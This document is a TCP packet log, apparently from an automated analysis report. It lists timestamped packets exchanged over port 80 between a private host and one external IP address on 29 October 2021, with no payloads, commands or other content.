Oct 29, 2021 20:29:44.422626972 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422642946 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422655106 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422692060 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422719955 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422744989 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422768116 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422794104 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422812939 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422835112 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422846079 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422894001 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422919035 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422945023 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422966003 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422976017 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.423000097 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.423011065 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423034906 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423059940 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423079967 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.423084974 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423118114 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.423141003 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423165083 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423187971 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423191071 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.423213005 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423229933 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.423237085 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423261881 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423284054 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423311949 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.423336029 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.423430920 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.423475981 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.424221992 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.428323030 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.428360939 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.428385019 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.428409100 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.428509951 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.474262953 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474296093 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474320889 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474345922 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474354982 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.474407911 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.474666119 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474693060 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474718094 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474741936 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474782944 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.474816084 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.474853039 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474880934 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474905968 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474932909 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.474935055 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.474997997 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475056887 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475083113 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475107908 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475133896 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475142956 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475159883 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475178957 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475186110 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475212097 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475231886 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475239038 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475265980 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475289106 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475311995 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475316048 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475342989 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475352049 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475368977 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475388050 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475394011 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475419998 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475446939 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475446939 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475474119 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475493908 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475500107 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475527048 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475574017 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475600958 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475603104 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475626945 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475641012 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475652933 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475673914 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475678921 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475704908 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475729942 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475748062 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475754023 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475778103 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475795031 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475802898 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475826025 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.475826979 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.475897074 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.476229906 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.476288080 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.476349115 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.480671883 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.480705023 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.480720997 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.480739117 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.480777979 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.480806112 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.526469946 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526494980 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526556015 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.526724100 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526742935 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526761055 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526777983 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526808023 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526819944 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.526820898 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526838064 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526853085 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526873112 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526876926 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.526891947 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526906967 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.526918888 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.526923895 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527004004 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527040958 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527215958 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527234077 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527251005 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527266979 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527285099 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527298927 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527302027 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527318954 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527337074 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527343035 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527354956 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527368069 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527373075 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527390957 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527400017 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527407885 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527424097 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527429104 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527437925 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527450085 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527462959 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527476072 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527487993 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527501106 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527513027 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527529955 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527546883 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527790070 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527841091 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527858973 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527875900 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527893066 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527909040 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527924061 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.527925968 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527968884 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.527988911 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528008938 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528019905 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528064013 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528254986 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528283119 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528301001 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528318882 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528347015 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528352976 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528371096 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528388023 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528403044 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528403997 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528420925 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528445005 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528464079 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528472900 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528482914 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528501034 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528531075 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528548956 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528552055 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528563976 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528584003 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528603077 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528619051 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528621912 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528636932 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528656960 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528661013 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528673887 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528692961 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528692961 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528708935 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528726101 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528767109 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528799057 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528816938 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528835058 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528860092 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528881073 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528898001 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.528898954 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528918028 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528934956 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528958082 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.528975964 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529005051 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529028893 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529033899 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529035091 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529053926 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529069901 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529087067 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529104948 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529107094 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529123068 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529153109 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529158115 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529169083 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529200077 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529201984 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529220104 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529239893 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529258013 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529258013 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529275894 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529324055 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529326916 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529369116 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529385090 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529402018 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529428959 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529431105 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529438019 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529476881 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529491901 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.529541016 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529910088 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.529963970 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.533337116 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.533356905 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.533373117 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.533391953 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.533409119 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.533426046 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.533473969 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.533508062 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.578619003 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578650951 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578767061 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.578810930 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578838110 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578861952 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578885078 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578896046 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.578907967 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578932047 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578939915 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.578953981 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578978062 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.578982115 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579003096 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579025030 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579026937 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579571962 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579606056 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579636097 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579658031 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579680920 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579704046 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579706907 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579727888 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579747915 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579770088 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579781055 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579791069 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579792976 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579814911 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579835892 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579843044 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579859972 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579883099 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579893112 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579906940 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579909086 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579951048 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.579957008 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.579981089 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580014944 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580022097 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580033064 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580058098 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580081940 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580102921 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580102921 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580126047 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580128908 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580148935 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580168962 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580172062 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580195904 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580218077 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580224037 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580235958 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580267906 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580288887 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580296040 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580313921 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580338955 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580352068 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580363989 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580374956 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580385923 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580409050 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580415010 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580432892 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580450058 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.580457926 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580481052 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.580651999 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.581036091 CEST	80	49770	185.98.87.159	192.168.2.7
